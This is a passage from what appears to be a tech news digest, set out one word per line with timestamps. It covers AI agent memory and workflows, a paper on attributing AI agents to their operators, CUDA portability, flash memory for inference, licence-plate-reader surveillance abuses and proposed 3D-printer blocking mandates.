• 9:15
  learnings:
• 9:16
  Markdown
• 9:16
  is
• 9:16
  great;
• 9:17
  let
• 9:17
  memories
• 9:17
  grow
• 9:17
  large
• 9:18
  but
• 9:18
  give
• 9:18
  agents
• 9:18
  tools
• 9:18
  to
• 9:19
  index
• 9:19
  and
• 9:19
  search
• 9:19
  them;
• 9:20
  give
• 9:20
  agents
• 9:21
  autonomy
• 9:21
  when
• 9:21
  writing.
• 9:22
  The
• 9:22
  LinkedIn
• 9:22
  commentary
• 9:23
  was
• 9:23
  sharp.
• 9:24
  Commenters
• 9:24
  flagged
• 9:25
  the
• 9:25
  obvious
• 9:25
  risk:
• 9:26
  if
• 9:26
  the
• 9:26
  model
• 9:26
  hallucinates
• 9:26
  a
• 9:27
  fact
• 9:27
  and
• 9:27
  writes
• 9:27
  it
• 9:27
  into
• 9:28
  permanent
• 9:28
  memory,
• 9:28
  that
• 9:29
  error
• 9:29
  becomes
• 9:29
  truth
• 9:29
  for
• 9:30
  all
• 9:30
  future
• 9:30
  sessions.
• 9:31
  Others
• 9:32
  noted
• 9:32
  the
• 9:32
  misleading
• 9:32
  use
• 9:33
  of
• 9:33
  "dreaming"
• 9:33
  for
• 9:34
  what
• 9:34
  is
• 9:34
  really
• 9:34
  a
• 9:34
  summarization
• 9:35
  prompt
• 9:35
  run
• 9:35
  during
• 9:36
  downtime
• 9:36
  —
• 9:37
  no
• 9:37
  weight
• 9:37
  updates,
• 9:38
  no
• 9:38
  actual
• 9:38
  learning.
• 9:39
  These
• 9:39
  are
• 9:39
  real
• 9:40
  engineering
• 9:40
  concerns
• 9:41
  that
• 9:41
  the
• 9:41
  talk
• 9:41
  acknowledged
• 9:41
  indirectly
• 9:42
  through
• 9:42
  its
• 9:42
  emphasis
• 9:43
  on
• 9:43
  production
• 9:43
  guardrails:
• 9:44
  versioning
• 9:45
  with
• 9:45
  rollback
• 9:45
  capability,
• 9:46
  hash-based
• 9:47
  concurrency
• 9:47
  control
• 9:48
  (take
• 9:48
  hash
• 9:48
  before
• 9:49
  edit,
• 9:50
  verify
• 9:50
  it
• 9:50
  hasn't
• 9:50
  changed
• 9:51
  before
• 9:51
  commit),
• 9:52
  and
• 9:52
  strict
• 9:52
  permissioning
• 9:53
  hierarchies
• 9:53
  that
• 9:53
  prevent
• 9:54
  individual
• 9:54
  agents
• 9:55
  from
• 9:55
  corrupting
• 9:55
  organization-wide
• 9:56
  context.
• 9:57
  A
• 9:57
  complementary
• 9:58
  perspective
• 9:58
  on
• 9:59
  agent
• 9:59
  workflows
• 9:59
  came
• 9:59
  from
• 10:00
  a
• 10:00
  former
• 10:00
  principal
• 10:00
  engineer
• 10:01
  at
• 10:01
  Meta
• 10:01
  and
• 10:01
  Microsoft
• 10:02
  who
• 10:02
  ships
• 10:02
  40-50
• 10:03
  production
• 10:03
  commits
• 10:04
  daily
• 10:04
  using
• 10:04
  multi-agent
• 10:05
  sessions.
• 10:06
  The
• 10:06
  workflow
• 10:06
  —
• 10:07
  plan
• 10:07
  in
• 10:07
  a
• 10:08
  rich
• 10:08
  visual
• 10:08
  editor,
• 10:08
  implement
• 10:09
  in
• 10:09
  parallel
• 10:09
  worktrees,
• 10:10
  validate
• 10:10
  through
• 10:10
  an
• 10:10
  adversarial
• 10:11
  self-review
• 10:12
  pipeline,
• 10:12
  push
• 10:13
  as
• 10:13
  a
• 10:13
  PR
• 10:13
  with
• 10:13
  evidence
• 10:14
  screenshots
• 10:14
  —
• 10:15
  represents
• 10:15
  the
• 10:15
  emerging
• 10:16
  standard
• 10:16
  for
• 10:16
  high-throughput
• 10:17
  agentic
• 10:17
  development.
• 10:18
  The
• 10:18
  key
• 10:19
  scaling
• 10:19
  insight:
• 10:19
  stop
• 10:20
  reviewing
• 10:20
  diffs
• 10:20
  yourself
• 10:21
  and
• 10:21
  instead
• 10:21
  build
• 10:21
  quality
• 10:22
  gates
• 10:22
  that
• 10:22
  your
• 10:22
  agents
• 10:23
  execute,
• 10:24
  much
• 10:24
  like
• 10:24
  an
• 10:24
  engineering
• 10:25
  director
• 10:25
  sets
• 10:25
  culture
• 10:26
  and
• 10:26
  processes
• 10:27
  rather
• 10:27
  than
• 10:27
  personally
• 10:27
  reviewing
• 10:28
  every
• 10:28
  pull
• 10:28
  request.
• 10:29
  Daniel
• 10:30
  Miessler's
• 10:30
  "AI
• 10:30
  Antifragile"
• 10:31
  essay
• 10:32
  offered
• 10:32
  the
• 10:32
  philosophical
• 10:33
  complement:
• 10:34
  deep
• 10:34
  understanding
• 10:35
  of
• 10:35
  how
• 10:35
  things
• 10:35
  work
• 10:35
  (non-outsourceable),
• 10:37
  desire
• 10:38
  to
• 10:38
  see
• 10:38
  the
• 10:38
  world
• 10:38
  differently
• 10:39
  (the
• 10:39
  hardest
• 10:39
  to
• 10:39
  acquire),
• 10:40
  and
• 10:40
  capability
• 10:41
  to
• 10:41
  act
• 10:42
  (increasingly
• 10:42
  delegable
• 10:43
  to
• 10:43
  AI).
• 10:44
  The
• 10:44
  framework
• 10:45
  is
• 10:45
  simple
• 10:46
  but
• 10:46
  lands
• 10:46
  differently
• 10:47
  in
• 10:47
  a
• 10:47
  world
• 10:47
  where
• 10:47
  AI
• 10:47
  skills
• 10:48
  are
• 10:48
  simultaneously
• 10:49
  category
• 10:49
  one
• 10:50
  (deep
• 10:50
  understanding
• 10:51
  of
• 10:51
  the
• 10:51
  tool)
• 10:51
  and
• 10:51
  category
• 10:52
  three
• 10:52
  (the
• 10:52
  tool
• 10:52
  itself).
• 10:54
  The
• 10:54
  critical
• 10:54
  warning:
• 10:55
  do
• 10:55
  not
• 10:55
  delegate
• 10:56
  the
• 10:56
  parts
• 10:56
  where
• 10:56
  you
• 10:56
  need
• 10:56
  deep
• 10:57
  knowledge,
• 10:57
  even
• 10:58
  as
• 10:58
  you
• 10:58
  outsource
• 10:58
  execution.
• 11:00
  On
• 11:00
  the
• 11:00
  fine-tuning
• 11:00
  side,
• 11:01
  a
• 11:01
  blunt
• 11:02
  LocalLLaMA
• 11:02
  thread
• 11:03
  questioned
• 11:03
  why
• 11:03
  practitioners
• 11:04
  keep
• 11:04
  distilling
• 11:05
  from
• 11:05
  summarized
• 11:06
  or
• 11:06
  censored
• 11:06
  chain-of-thought
• 11:07
  traces
• 11:07
  —
• 11:08
  particularly
• 11:09
  from
• 11:09
  models
• 11:09
  like
• 11:09
  Fable,
• 11:10
  whose
• 11:11
  actual
• 11:11
  reasoning
• 11:11
  tokens
• 11:12
  are
• 11:12
  "genuinely
• 11:12
  abstract
• 11:13
  gibberish"
• 11:14
  (one
• 11:14
  commenter
• 11:15
  quoted
• 11:15
  the
• 11:15
  System
• 11:15
  Card's
• 11:16
  playing-card
• 11:16
  notation
• 11:17
  as
• 11:17
  evidence).
• 11:18
  The
• 11:18
  consensus:
• 11:19
  distillation
• 11:19
  is
• 11:19
  not
• 11:20
  magic,
• 11:20
  SFT
• 11:21
  fine-tunes
• 11:22
  almost
• 11:22
  always
• 11:22
  degrade
• 11:23
  base
• 11:23
  model
• 11:23
  quality
• 11:24
  unless
• 11:24
  backed
• 11:24
  by
• 11:25
  enormous
• 11:25
  datasets
• 11:25
  or
• 11:26
  RL,
• 11:26
  and
• 11:27
  most
• 11:27
  open
• 11:27
  fine-tunes
• 11:28
  exist
• 11:28
  primarily
• 11:28
  to
• 11:29
  pad
• 11:29
  CVs
• 11:29
  and
• 11:29
  investor
• 11:30
  pitches
• 11:30
  rather
• 11:31
  than
• 11:31
  to
• 11:31
  advance
• 11:31
  the
• 11:31
  state
• 11:32
  of
• 11:32
  the
• 11:32
  art.
• 11:35
  A
• 11:35
  Ben-Gurion
• 11:36
  University
• 11:37
  research
• 11:37
  team
• 11:37
  has
• 11:37
  formalized
• 11:38
  what
• 11:38
  may
• 11:38
  be
• 11:38
  the
• 11:38
  most
• 11:39
  consequential
• 11:39
  unsolved
• 11:40
  problem
• 11:40
  in
• 11:40
  AI
• 11:41
  deployment:
• 11:42
  agent
• 11:42
  attribution
• 11:42
  —
• 11:44
  linking
• 11:44
  an
• 11:44
  observed
• 11:44
  harmful
• 11:45
  agent
• 11:45
  interaction
• 11:46
  back
• 11:46
  to
• 11:46
  the
• 11:46
  account
• 11:46
  that
• 11:46
  deployed
• 11:47
  it.
• 11:48
  Their
• 11:48
  paper,
• 11:49
  "Who
• 11:49
  Owns
• 11:49
  This
• 11:50
  Agent?",
• 11:50
  is
• 11:51
  the
• 11:51
  first
• 11:51
  to
• 11:51
  define
• 11:51
  the
• 11:51
  problem
• 11:52
  rigorously
• 11:52
  and
• 11:52
  propose
• 11:53
  a
• 11:53
  practical
• 11:53
  solution.
• 11:54
  The
• 11:55
  core
• 11:55
  insight:
• 11:55
  AI
• 11:56
  agents
• 11:56
  inherit
• 11:56
  structural
• 11:57
  anonymity
• 11:57
  by
• 11:57
  default.
• 11:59
  Unlike
• 11:59
  human
• 11:59
  actors
• 12:00
  whose
• 12:00
  identity
• 12:00
  leaks
• 12:01
  through
• 12:01
  accounts,
• 12:02
  metadata,
• 12:02
  and
• 12:02
  behavioral
• 12:03
  patterns,
• 12:03
  an
• 12:03
  agent
• 12:04
  sending
• 12:04
  messages,
• 12:04
  querying
• 12:05
  APIs,
• 12:05
  or
• 12:06
  placing
• 12:06
  calls
• 12:06
  does
• 12:06
  so
• 12:07
  through
• 12:07
  generic
• 12:07
  interfaces
• 12:08
  with
• 12:08
  no
• 12:08
  obligation
• 12:08
  to
• 12:09
  identify
• 12:09
  its
• 12:09
  operator.
• 12:10
  The
• 12:11
  proposed
• 12:11
  protocol
• 12:11
  is
• 12:12
  canary-based.
• 12:13
  An
• 12:13
  authorized
• 12:14
  authority
• 12:14
  injects
• 12:14
  content
• 12:15
  into
• 12:15
  the
• 12:15
  agent's
• 12:15
  interaction
• 12:16
  stream
• 12:16
  —
• 12:17
  a
• 12:17
  filename
• 12:18
  during
• 12:18
  directory
• 12:18
  traversal,
• 12:19
  emotional
• 12:19
  cues
• 12:20
  during
• 12:20
  a
• 12:20
  scam
• 12:20
  call,
• 12:21
  a
• 12:21
  UUID
• 12:22
  in
• 12:22
  a
• 12:22
  web
• 12:22
  page.
• 12:23
  If
• 12:23
  the
• 12:23
  agent
• 12:24
  forwards
• 12:24
  that
• 12:24
  content
• 12:25
  to
• 12:25
  its
• 12:25
  vendor-hosted
• 12:25
  LLM,
• 12:26
  the
• 12:26
  canary
• 12:27
  appears
• 12:27
  in
• 12:27
  the
• 12:27
  vendor's
• 12:27
  session
• 12:28
  logs,
• 12:28
  and
• 12:28
  a
• 12:28
  narrow
• 12:29
  time-window
• 12:29
  search
• 12:30
  recovers
• 12:30
  the
• 12:30
  originating
• 12:30
  account.
• 12:31
  Simple
• 12:32
  lexical
• 12:32
  canaries
• 12:33
  work
• 12:33
  against
• 12:33
  non-adversarial
• 12:34
  operators
• 12:35
  (misconfigured
• 12:35
  agents,
• 12:36
  careless
• 12:36
  deployments).
• 12:37
  For
• 12:38
  adversarial
• 12:38
  operators
• 12:39
  who
• 12:39
  interpose
• 12:39
  filtering
• 12:40
  wrappers
• 12:40
  between
• 12:40
  the
• 12:41
  world
• 12:41
  and
• 12:41
  the
• 12:41
  API,
• 12:42
  the
• 12:42
  team
• 12:42
  develops
• 12:43
  "utility-bearing"
• 12:43
  canaries
• 12:44
  —
• 12:45
  content
• 12:45
  the
• 12:45
  agent
• 12:45
  must
• 12:46
  preserve
• 12:46
  to
• 12:46
  function.
• 12:47
  Stripping
• 12:47
  a
• 12:48
  filename
• 12:48
  from
• 12:48
  directory
• 12:49
  listings
• 12:49
  or
• 12:49
  emotional
• 12:50
  context
• 12:50
  from
• 12:50
  conversation
• 12:51
  targets
• 12:51
  degrades
• 12:52
  the
• 12:52
  agent's
• 12:52
  own
• 12:52
  task
• 12:53
  performance
• 12:53
  below
• 12:53
  a
• 12:54
  usable
• 12:54
  threshold,
• 12:55
  creating
• 12:55
  a
• 12:55
  formal
• 12:56
  asymmetry
• 12:56
  in
• 12:56
  the
• 12:56
  defender's
• 12:57
  favor.
• 12:58
  The
• 12:58
  paper
• 12:58
  evaluates
• 12:59
  real-world
• 12:59
  agents
• 13:00
  and
• 13:00
  reports
• 13:00
  reliable,
• 13:01
  scalable
• 13:01
  attribution.
• 13:02
  The
• 13:02
  timing
• 13:03
  is
• 13:03
  pointed.
• 13:04
  Recent
• 13:04
  incidents
• 13:05
  —
• 13:05
  state-sponsored
• 13:06
  espionage
• 13:07
  via
• 13:07
  Claude
• 13:07
  Code,
• 13:08
  a
• 13:08
  lone
• 13:09
  operator
• 13:09
  combining
• 13:09
  Claude
• 13:10
  Code
• 13:10
  with
• 13:10
  GPT-4.1
• 13:12
  to
• 13:12
  compromise
• 13:12
  Mexican
• 13:13
  government
• 13:13
  systems
• 13:13
  —
• 13:14
  demonstrate
• 13:15
  that
• 13:15
  even
• 13:15
  sophisticated
• 13:16
  adversaries
• 13:16
  accept
• 13:17
  vendor
• 13:17
  API
• 13:18
  dependencies.
• 13:19
  Agent
• 13:19
  attribution
• 13:20
  would
• 13:20
  supply
• 13:20
  the
• 13:20
  missing
• 13:21
  link
• 13:21
  between
• 13:21
  platform
• 13:22
  session
• 13:22
  logs
• 13:22
  and
• 13:22
  legal
• 13:23
  process.
• 13:24
  On
• 13:24
  the
• 13:24
  observability
• 13:25
  side,
• 13:25
  Agent
• 13:26
  Flow
• 13:26
  offers
• 13:27
  a
• 13:27
  different
• 13:27
  lens
• 13:27
  on
• 13:27
  the
• 13:28
  agent
• 13:28
  visibility
• 13:28
  problem
• 13:29
  —
• 13:29
  a
• 13:29
  real-time
• 13:30
  node-graph
• 13:30
  visualization
• 13:31
  tool
• 13:31
  for
• 13:32
  Claude
• 13:32
  Code
• 13:32
  and
• 13:32
  Codex
• 13:33
  sessions
• 13:33
  that
• 13:33
  makes
• 13:33
  tool-call
• 13:34
  chains,
• 13:35
  branching
• 13:35
  decisions,
• 13:35
  and
• 13:36
  time
• 13:36
  allocation
• 13:36
  visible
• 13:37
  during
• 13:37
  execution.
• 13:39
  Built
• 13:39
  by
• 13:39
  a
• 13:39
  game
• 13:39
  developer
• 13:40
  debugging
• 13:40
  agent
• 13:40
  behavior
• 13:41
  on
• 13:41
  CraftMyGame,
• 13:42
  it
• 13:42
  auto-detects
• 13:43
  sessions
• 13:43
  from
• 13:43
  both
• 13:44
  runtimes
• 13:44
  and
• 13:44
  streams
• 13:45
  events
• 13:45
  via
• 13:45
  hooks
• 13:46
  or
• 13:46
  JSONL
• 13:46
  tailing.
• 13:48
  The
• 13:48
  tool
• 13:48
  is
• 13:48
  useful,
• 13:49
  but
• 13:49
  the
• 13:49
  research
• 13:49
  paper
• 13:50
  is
• 13:50
  the
• 13:50
  one
• 13:50
  that
• 13:50
  should
• 13:50
  keep
• 13:51
  platform
• 13:51
  operators
• 13:52
  up
• 13:52
  at
• 13:52
  night.
• 13:54
  Nvidia's
• 13:55
  CUDA
• 13:55
  ecosystem
• 13:56
  owns
• 13:56
  approximately
• 13:56
  80%
• 13:57
  of
• 13:57
  the
• 13:57
  parallel
• 13:58
  computing
• 13:58
  development
• 13:58
  tools
• 13:59
  market
• 13:59
  —
• 13:59
  a
• 14:00
  lock-in
• 14:00
  that
• 14:00
  Spectral
• 14:00
  Compute,
• 14:01
  a
• 14:01
  London-based
• 14:02
  startup,
• 14:02
  is
• 14:02
  methodically
• 14:03
  dismantling.
• 14:04
  Their
• 14:04
  product,
• 14:05
  SCALE,
• 14:06
  is
• 14:06
  a
• 14:06
  clean-room
• 14:06
  re-implementation
• 14:07
  using
• 14:07
  CLang
• 14:08
  and
• 14:08
  LLVM
• 14:09
  that
• 14:09
  functions
• 14:09
  as
• 14:09
  a
• 14:09
  drop-in
• 14:10
  replacement
• 14:10
  for
• 14:10
  NVCC,
• 14:11
  the
• 14:11
  Nvidia
• 14:12
  CUDA
• 14:12
  compiler.
• 14:13
  After
• 14:13
  initially
• 14:14
  targeting
• 14:14
  AMD
• 14:14
  GPUs,
• 14:15
  Spectral
• 14:16
  is
• 14:16
  broadening
• 14:16
  to
• 14:16
  third-party
• 14:17
  AI
• 14:17
  accelerators
• 14:18
  and
• 14:18
  claims
• 14:18
  a
• 14:18
  nearly
• 14:19
  6×
• 14:19
  performance
• 14:19
  advantage
• 14:20
  on
• 14:20
  AMD
• 14:20
  hardware
• 14:21
  compared
• 14:21
  to
• 14:21
  HIPIFY-based
• 14:23
  conversion.
• 14:24
  The
• 14:24
  company
• 14:24
  entered
• 14:24
  the
• 14:24
  Nvidia
• 14:25
  Inception
• 14:25
  program
• 14:25
  in
• 14:26
  June,
• 14:26
  positioning
• 14:26
  itself
• 14:27
  as
• 14:27
  neutral
• 14:27
  infrastructure
• 14:28
  rather
• 14:28
  than
• 14:28
  an
• 14:28
  adversary.
• 14:29
  The
• 14:29
  competitive
• 14:30
  landscape
• 14:30
  for
• 14:30
  CUDA
• 14:31
  portability
• 14:31
  is
• 14:31
  littered
• 14:31
  with
• 14:32
  partial
• 14:32
  solutions.
• 14:33
  Intel's
• 14:33
  SYCLomatic
• 14:34
  migrates
• 14:34
  about
• 14:35
  90%
• 14:35
  of
• 14:35
  code,
• 14:36
  requiring
• 14:37
  manual
• 14:37
  work
• 14:37
  for
• 14:37
  the
• 14:37
  rest.
• 14:38
  AMD's
• 14:39
  HIPIFY
• 14:40
  ignores
• 14:41
  Parallel
• 14:41
  Thread
• 14:41
  Execution
• 14:42
  (PTX),
• 14:42
  the
• 14:43
  assembly
• 14:43
  language
• 14:43
  that
• 14:43
  unlocks
• 14:44
  deep
• 14:44
  hardware
• 14:44
  optimization.
• 14:46
  ZLUDA
• 14:46
  operates
• 14:46
  on
• 14:46
  compiled
• 14:46
  binaries
• 14:47
  as
• 14:47
  middleware,
• 14:48
  sacrificing
• 14:48
  performance.
• 14:49
  Spectral's
• 14:50
  claim
• 14:50
  to
• 14:50
  superiority
• 14:51
  rests
• 14:51
  on
• 14:51
  taking
• 14:51
  "the
• 14:52
  approach
• 14:52
  that's
• 14:52
  industry-standard
• 14:53
  for
• 14:53
  CPUs,
• 14:54
  but
• 14:54
  apply
• 14:54
  it
• 14:54
  to
• 14:54
  GPUs"
• 14:55
  —
• 14:56
  treating
• 14:56
  the
• 14:56
  GPU
• 14:57
  as
• 14:57
  just
• 14:57
  another
• 14:57
  compilation
• 14:58
  target
• 14:58
  rather
• 14:58
  than
• 14:58
  something
• 14:59
  requiring
• 14:59
  translation
• 14:59
  layers.
• 15:00
  With
• 15:01
  30
• 15:01
  employees,
• 15:01
  $6
• 15:02
  million
• 15:02
  in
• 15:02
  funding,
• 15:03
  and
• 15:03
  a
• 15:03
  run
• 15:03
  on
• 15:03
  Frontier
• 15:04
  (the
• 15:04
  Oak
• 15:04
  Ridge
• 15:04
  exascale
• 15:05
  supercomputer),
• 15:06
  the
• 15:06
  company
• 15:06
  is
• 15:06
  small
• 15:06
  but
• 15:06
  credible.
• 15:08
  On
• 15:08
  the
• 15:08
  memory
• 15:08
  side
• 15:08
  of
• 15:08
  the
• 15:08
  inference
• 15:09
  stack,
• 15:09
  High
• 15:09
  Bandwidth
• 15:10
  Flash
• 15:10
  (HBF)
• 15:11
  is
• 15:11
  emerging
• 15:11
  as
• 15:11
  a
• 15:11
  potential
• 15:12
  game-changer
• 15:13
  for
• 15:13
  serving
• 15:13
  large
• 15:13
  models
• 15:14
  at
• 15:14
  scale.
• 15:15
  IEEE
• 15:16
  Spectrum
• 15:16
  reports
• 15:16
  that
• 15:16
  Sandisk's
• 15:17
  first-generation
• 15:18
  HBF
• 15:18
  will
• 15:18
  stack
• 15:18
  up
• 15:19
  to
• 15:19
  16
• 15:19
  NAND
• 15:19
  flash
• 15:19
  dies
• 15:20
  for
• 15:20
  512GB
• 15:22
  per
• 15:23
  stack
• 15:23
  and
• 15:23
  read
• 15:23
  bandwidth
• 15:23
  up
• 15:24
  to
• 15:24
  1.6TB/s
• 15:25
  —
• 15:26
  far
• 15:26
  below
• 15:27
  HBM4E's
• 15:29
  3.6TB/s,
• 15:31
  but
• 15:31
  at
• 15:31
  dramatically
• 15:31
  lower
• 15:32
  cost
• 15:32
  and
• 15:32
  with
• 15:32
  far
• 15:33
  greater
• 15:33
  density.
• 15:34
  The
• 15:34
  key
• 15:34
  insight
• 15:34
  is
• 15:35
  that
• 15:35
  inference
• 15:35
  workloads
• 15:36
  are
• 15:36
  read-heavy:
• 15:37
  model
• 15:37
  weights
• 15:37
  are
• 15:37
  frozen,
• 15:38
  so
• 15:38
  flash's
• 15:38
  terrible
• 15:39
  write
• 15:39
  performance
• 15:39
  is
• 15:40
  irrelevant.
• 15:41
  HBF
• 15:41
  could
• 15:41
  house
• 15:41
  static
• 15:42
  weights
• 15:42
  and
• 15:42
  precomputed
• 15:43
  KV
• 15:43
  caches,
• 15:44
  freeing
• 15:44
  HBM
• 15:44
  to
• 15:45
  serve
• 15:45
  as
• 15:45
  a
• 15:45
  high-speed
• 15:45
  scratchpad.
• 15:46
  Standardization
• 15:47
  is
• 15:47
  underway
• 15:48
  through
• 15:48
  the
• 15:48
  Open
• 15:48
  Compute
• 15:48
  Project,
• 15:49
  with
• 15:49
  SK
• 15:50
  Hynix
• 15:50
  and
• 15:50
  Sandisk
• 15:51
  co-leading
• 15:51
  the
• 15:51
  effort.
• 15:52
  At
• 15:52
  the
• 15:52
  consumer
• 15:53
  end
• 15:53
  of
• 15:53
  the
• 15:53
  scale,
• 15:53
  Colibri
• 15:54
  streaming
• 15:54
  —
• 15:55
  originally
• 15:55
  built
• 15:56
  to
• 15:56
  run
• 15:56
  GLM
• 15:56
  5.2
• 15:57
  on
• 15:57
  25GB
• 15:58
  —
• 15:58
  has
• 15:59
  been
• 15:59
  ported
• 15:59
  to
• 15:59
  support
• 16:00
  Hy3
• 16:00
  on
• 16:00
  just
• 16:00
  10GB
• 16:01
  of
• 16:01
  RAM,
• 16:02
  making
• 16:02
  frontier-class
• 16:03
  models
• 16:03
  accessible
• 16:03
  on
• 16:03
  consumer
• 16:04
  hardware
• 16:04
  without
• 16:05
  quantization
• 16:05
  tradeoffs.
• 16:06
  The
• 16:06
  LocalLLaMA
• 16:06
  community
• 16:07
  is
• 16:07
  enthusiastic,
• 16:08
  with
• 16:08
  commenters
• 16:09
  calling
• 16:09
  for
• 16:09
  Colibri
• 16:09
  to
• 16:09
  become
• 16:10
  "an
• 16:10
  alternative
• 16:10
  to
• 16:10
  llama.cpp"
• 16:12
  and
• 16:12
  noting
• 16:12
  the
• 16:12
  potential
• 16:13
  to
• 16:13
  extend
• 16:13
  the
• 16:13
  technique
• 16:14
  to
• 16:14
  models
• 16:14
  like
• 16:14
  DeepSeek-v4-Flash.
• 16:17
  DeFlock,
• 16:18
  an
• 16:18
  open-source
• 16:19
  project
• 16:19
  mapping
• 16:20
  automated
• 16:20
  license
• 16:21
  plate
• 16:21
  readers
• 16:21
  (ALPRs)
• 16:22
  across
• 16:23
  the
• 16:23
  United
• 16:23
  States,
• 16:24
  has
• 16:24
  documented
• 16:25
  a
• 16:25
  surveillance
• 16:25
  infrastructure
• 16:26
  that
• 16:26
  most
• 16:26
  people
• 16:27
  do
• 16:27
  not
• 16:27
  know
• 16:27
  exists.
• 16:28
  The
• 16:28
  numbers
• 16:29
  are
• 16:29
  staggering:
• 16:30
  over
• 16:30
  5,000
• 16:31
  communities
• 16:31
  equipped
• 16:32
  with
• 16:32
  Flock
• 16:32
  Safety
• 16:32
  cameras
• 16:33
  and
• 16:33
  competitors,
• 16:34
  capturing
• 16:34
  more
• 16:34
  than
• 16:34
  20
• 16:35
  billion
• 16:35
  plate
• 16:35
  reads
• 16:35
  per
• 16:36
  month.
• 16:36
  A
• 16:36
  single
• 16:36
  search
• 16:37
  can
• 16:37
  query
• 16:37
  up
• 16:37
  to
• 16:37
  97,000
• 16:38
  cameras
• 16:39
  across
• 16:39
  6,800
• 16:40
  networks
• 16:40
  simultaneously.
• 16:42
  No
• 16:42
  warrant
• 16:42
  required,
• 16:43
  no
• 16:43
  judge
• 16:43
  involved
• 16:43
  —
• 16:44
  just
• 16:44
  a
• 16:44
  login
• 16:44
  credential
• 16:45
  and
• 16:45
  a
• 16:45
  plate
• 16:45
  number.
• 16:46
  The
• 16:46
  abuse
• 16:46
  record
• 16:46
  is
• 16:47
  exactly
• 16:47
  what
• 16:47
  you
• 16:47
  would
• 16:47
  predict
• 16:48
  from
• 16:48
  an
• 16:48
  accountability-free
• 16:48
  surveillance
• 16:49
  system.
• 16:50
  In
• 16:50
  Milwaukee,
• 16:51
  an
• 16:51
  officer
• 16:51
  tracked
• 16:51
  a
• 16:51
  woman
• 16:52
  he
• 16:52
  was
• 16:52
  dating
• 16:52
  170
• 16:53
  times
• 16:53
  in
• 16:53
  two
• 16:54
  months
• 16:54
  —
• 16:54
  and
• 16:55
  the
• 16:55
  detective
• 16:55
  assigned
• 16:55
  to
• 16:55
  audit
• 16:56
  the
• 16:56
  abuse
• 16:56
  had
• 16:56
  himself
• 16:57
  tracked
• 16:57
  a
• 16:57
  different
• 16:57
  woman
• 16:57
  17
• 16:58
  times.
• 16:59
  In
• 16:59
  Idaho,
• 16:59
  a
• 16:59
  sheriff
• 16:59
  ran
• 17:00
  his
• 17:00
  wife's
• 17:00
  plate
• 17:00
  over
• 17:00
  700
• 17:01
  times.
• 17:01
  In
• 17:02
  Kansas,
• 17:02
  a
• 17:02
  police
• 17:02
  chief
• 17:03
  tracked
• 17:03
  his
• 17:03
  ex-girlfriend
• 17:04
  over
• 17:04
  200
• 17:04
  times.
• 17:05
  The
• 17:06
  Institute
• 17:06
  for
• 17:06
  Justice
• 17:07
  has
• 17:07
  counted
• 17:07
  at
• 17:07
  least
• 17:07
  21
• 17:08
  documented
• 17:08
  abuse
• 17:09
  cases
• 17:09
  since
• 17:09
  2024
• 17:10
  —
• 17:11
  and
• 17:11
  those
• 17:11
  are
• 17:11
  only
• 17:12
  the
• 17:12
  ones
• 17:12
  that
• 17:12
  surfaced
• 17:12
  through
• 17:13
  FOIA
• 17:13
  requests.
• 17:13
  Several
• 17:14
  states,
• 17:14
  including
• 17:15
  Washington,
• 17:16
  are
• 17:16
  now
• 17:16
  passing
• 17:16
  legislation
• 17:17
  that
• 17:17
  exempts
• 17:17
  ALPR
• 17:18
  data
• 17:18
  from
• 17:19
  public
• 17:19
  records
• 17:19
  requests,
• 17:20
  effectively
• 17:21
  sealing
• 17:21
  the
• 17:21
  only
• 17:21
  audit
• 17:22
  trail
• 17:22
  that
• 17:22
  exposed
• 17:22
  these
• 17:23
  abuses.
• 17:24
  DeFlock's
• 17:24
  HaveIBeenFlocked.com
• 17:26
  tool
• 17:26
  lets
• 17:26
  individuals
• 17:27
  check
• 17:27
  whether
• 17:27
  their
• 17:28
  plate
• 17:28
  has
• 17:28
  been
• 17:28
  searched,
• 17:29
  using
• 17:29
  data
• 17:29
  from
• 17:30
  FOIA
• 17:30
  responses
• 17:30
  contributed
• 17:31
  by
• 17:31
  citizens.
• 17:32
  A
• 17:32
  parallel
• 17:33
  front
• 17:33
  in
• 17:33
  the
• 17:33
  digital
• 17:34
  rights
• 17:34
  space
• 17:34
  involves
• 17:35
  the
• 17:35
  push
• 17:35
  to
• 17:35
  mandate
• 17:36
  "blocking
• 17:36
  technology"
• 17:37
  in
• 17:37
  3D
• 17:38
  printers,
• 17:38
  CNC
• 17:39
  machines,
• 17:40
  lathes,
• 17:40
  and
• 17:40
  laser
• 17:41
  cutters
• 17:41
  sold
• 17:42
  in
• 17:42
  the
• 17:42
  United
• 17:42
  States.
• 17:43
  Prosecutors
• 17:44
  Against
• 17:44
  Gun
• 17:45
  Violence,
• 17:45
  chaired
• 17:46
  by
• 17:46
  Manhattan
• 17:46
  DA
• 17:47
  Alvin
• 17:47
  Bragg,
• 17:48
  sent
• 17:48
  letters
• 17:48
  to
• 17:48
  Bambu
• 17:49
  Lab,
• 17:50
  Creality,
• 17:50
  and
• 17:50
  FlashForge
• 17:51
  urging
• 17:51
  them
• 17:52
  to
• 17:52
  equip
• 17:52
  all
• 17:52
  machines
• 17:53
  with
• 17:53
  technology
• 17:53
  that
• 17:54
  checks
• 17:54
  a
• 17:54
  database
• 17:55
  before
• 17:55
  fabrication
• 17:56
  to
• 17:56
  determine
• 17:56
  if
• 17:57
  the
• 17:57
  object
• 17:57
  being
• 17:57
  created
• 17:58
  is
• 17:58
  a
• 17:58
  firearm
• 17:59
  component.
• 17:59
  New
• 18:00
  York
• 18:00
  has
• 18:00
  already
• 18:00
  enacted
• 18:01
  this
• 18:01
  as
• 18:01
  law
• 18:01
  through
• 18:02
  its
• 18:02
  budget
• 18:02
  bill,
• 18:03
  and
• 18:03
  the
• 18:03
  coalition
• 18:04
  is
• 18:04
  explicitly
• 18:04
  pushing
• 18:05
  for
• 18:05
  national
• 18:05
  adoption.
• 18:06
  The
• 18:06
  technical
• 18:07
  implications
• 18:07
  are
• 18:08
  significant:
• 18:09
  the
• 18:09
  blocking
• 18:09
  technology
• 18:10
  would
• 18:10
  require
• 18:10
  cloud
• 18:11
  connectivity,
• 18:12
  real-time
• 18:12
  authentication
• 18:13
  against
• 18:13
  a
• 18:13
  government
• 18:14
  database,
• 18:15
  and
• 18:15
  processing
• 18:15
  capabilities
• 18:16
  beyond
• 18:16
  what
• 18:16
  most
• 18:17
  desktop
• 18:17
  machines
• 18:18
  currently
• 18:18
  have.
• 18:19
  Foreign
• 18:19
  manufacturers
• 18:20
  —
• 18:20
  who
• 18:21
  make
• 18:21
  the
• 18:21
  vast
• 18:21
  majority
• 18:22
  of
• 18:22
  consumer
• 18:22
  3D
• 18:22
  printers
• 18:23
  —
• 18:23
  have
• 18:24
  no
• 18:24
